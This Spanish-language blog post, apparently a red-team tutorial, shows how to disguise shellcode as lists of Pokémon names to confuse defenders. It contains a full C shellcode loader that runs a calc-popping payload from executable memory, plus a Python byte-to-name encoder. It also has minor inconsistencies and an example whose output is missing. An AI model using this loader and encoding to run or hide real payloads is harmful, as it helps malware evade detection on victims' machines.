
¿Cansado de mirar hex todo el día y soltar '\x41'? ¿Prefieres mirar a Lugia/Charmander? Tengo la solución para ti.
¿Cansado de mirar hexadecimal todo el día y de soltar '\x41's? ¿Prefieres mirar a Lugia/Charmander? Tengo la solución para ti. Llegó un tweet de @Checkymander sobre crear un cargador de shellcode a partir de nombres de Pokémon. Un proyecto muy divertido para molestar al equipo azul, pero no había un POC! (o al menos cuando lo comprobé por última vez)
Nota #1 El código actualizado estará en mi GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader
Nota #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
Nota #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Hay varias formas de hacerlo: Si observamos un shellcode, es una serie de valores hexadecimales de 0x00 a 0xFF, o en forma decimal de 0 a 256. Resulta que hay muchos más de 256 Pokémon entre los que podemos elegir.
Al observar la tabla de Pokémon anterior, podemos traducir BULBASAUR, que es el #001, a 0x01 (eliminando el primer cero). Del mismo modo, CHARMANDER se representará como 0x04 y así sucesivamente. El afortunado byte nulo 0x00 puede alinearse con el Pokémon #257, ¡BLAZIKEN!
Convertir shellcode a Pokémon-Shellcode es sencillo. ¿Qué tal convertir Pokémon-Shellcode a Ensamblador? ¿Queremos tener un Array dentro del .ASM? ¿Código C? ¿Descargarlo externamente?
¡Hay muchas direcciones que tomar!
Necesitamos datos. Primero, encontré dos áreas que contienen tanto el número del Pokémon como su nombre:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
Y otra que solo tiene el nombre del Pokémon. Esta puede ser más útil porque podemos obtener la posición del índice del array para un Pokémon en particular sin tener que arrastrar una cadena larga.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
Estoy tomando un shellcode POP CALC normal y lanzándole algo de C.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Nada mal. No está haciendo nada malicioso, pero aun así... nada mal.
Un script simple convierte un objeto de bytes de shellcode en el Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
Tomando el shellcode anterior:
\x00\x31\xc0\x50\x68\x2f\x2F
Se convierte en:
Dato curioso: quería mantener el nombre del Pokémon alineado con su número (BULBASAUR = #1, o 0x01), por lo que necesitaba llenar el byte 0x00/nulo con algo. ¿Qué encaja mejor que MISSINGNO?!
Otro problema es que el Pokémon Farfetch'd tiene un apóstrofo, como se muestra abajo. La solución fácil es simplemente eliminarlo y llamarlo: Farfetchd
Finalmente, también hay dos Pokémon que comparten el mismo nombre una vez que eliminas los símbolos; la solución para esos dos fue añadir una F (de femenino), y para el otro añadir una M (de masculino).